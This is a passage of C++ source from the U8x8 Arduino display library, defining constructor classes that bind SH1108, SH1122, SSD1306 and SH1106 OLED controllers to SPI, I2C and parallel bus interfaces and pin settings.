u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1108_160X160_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1108_160X160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1108_160X160_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1108_160X160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1108_160X160_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1108_160X160_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1108_160X160_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1108_160X160_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1108_160X160_6800 : public U8X8 {\n  public: U8X8_SH1108_160X160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1108_160X160_8080 : public U8X8 {\n  public: U8X8_SH1108_160X160_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1108_160X160_SW_I2C : public U8X8 {\n  public: U8X8_SH1108_160X160_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1108_160X160_HW_I2C : public U8X8 {\n  public: U8X8_SH1108_160X160_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1108_160X160_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1108_160X160_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1108_160x160, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1122_256X64_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1122_256X64_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1122_256X64_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1122_256X64_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1122_256X64_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1122_256X64_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1122_256X64_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1122_256X64_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1122_256X64_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1122_256X64_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1122_256X64_6800 : public U8X8 {\n  public: U8X8_SH1122_256X64_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1122_256X64_8080 : public U8X8 {\n  public: U8X8_SH1122_256X64_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1122_256X64_SW_I2C : public U8X8 {\n  public: U8X8_SH1122_256X64_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1122_256X64_HW_I2C : public U8X8 {\n  public: U8X8_SH1122_256X64_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1122_256X64_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1122_256X64_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1122_256x64, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1306_128X32_UNIVISION_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X32_UNIVISION_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X32_UNIVISION_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X32_UNIVISION_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X32_UNIVISION_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X32_UNIVISION_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X32_UNIVISION_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X32_UNIVISION_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1306_128X32_UNIVISION_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X32_UNIVISION_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1306_128X32_UNIVISION_6800 : public U8X8 {\n  public: U8X8_SSD1306_128X32_UNIVISION_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X32_UNIVISION_8080 : public U8X8 {\n  public: U8X8_SSD1306_128X32_UNIVISION_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X32_WINSTAR_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X32_WINSTAR_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X32_WINSTAR_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X32_WINSTAR_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X32_WINSTAR_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X32_WINSTAR_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X32_WINSTAR_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X32_WINSTAR_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1306_128X32_WINSTAR_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_128X32_WINSTAR_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1306_128X32_WINSTAR_6800 : public U8X8 {\n  public: U8X8_SSD1306_128X32_WINSTAR_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X32_WINSTAR_8080 : public U8X8 {\n  public: U8X8_SSD1306_128X32_WINSTAR_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_128X32_UNIVISION_SW_I2C : public U8X8 {\n  public: U8X8_SSD1306_128X32_UNIVISION_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1306_128X32_UNIVISION_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_128X32_UNIVISION_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1306_128X32_UNIVISION_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_128X32_UNIVISION_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_univision, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1306_128X32_WINSTAR_SW_I2C : public U8X8 {\n  public: U8X8_SSD1306_128X32_WINSTAR_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1306_128X32_WINSTAR_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_128X32_WINSTAR_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1306_128X32_WINSTAR_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_128X32_WINSTAR_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_128x32_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1306_102X64_EA_OLEDS102_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_102X64_EA_OLEDS102_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_102X64_EA_OLEDS102_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_102X64_EA_OLEDS102_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_102X64_EA_OLEDS102_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_102X64_EA_OLEDS102_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_102X64_EA_OLEDS102_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_102X64_EA_OLEDS102_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1306_102X64_EA_OLEDS102_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_102X64_EA_OLEDS102_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1306_102X64_EA_OLEDS102_6800 : public U8X8 {\n  public: U8X8_SSD1306_102X64_EA_OLEDS102_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_102X64_EA_OLEDS102_8080 : public U8X8 {\n  public: U8X8_SSD1306_102X64_EA_OLEDS102_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_102X64_EA_OLEDS102_SW_I2C : public U8X8 {\n  public: U8X8_SSD1306_102X64_EA_OLEDS102_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1306_102X64_EA_OLEDS102_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_102X64_EA_OLEDS102_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1306_102X64_EA_OLEDS102_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_102X64_EA_OLEDS102_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_102x64_ea_oleds102, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1106_128X32_VISIONOX_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X32_VISIONOX_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X32_VISIONOX_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X32_VISIONOX_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X32_VISIONOX_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X32_VISIONOX_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X32_VISIONOX_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X32_VISIONOX_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1106_128X32_VISIONOX_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X32_VISIONOX_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x32_visionox, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1106_128X32_VISIONOX_6800 : public U8X8 {\n  public: U8X8_SH1106_128X32_VISIONOX_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() 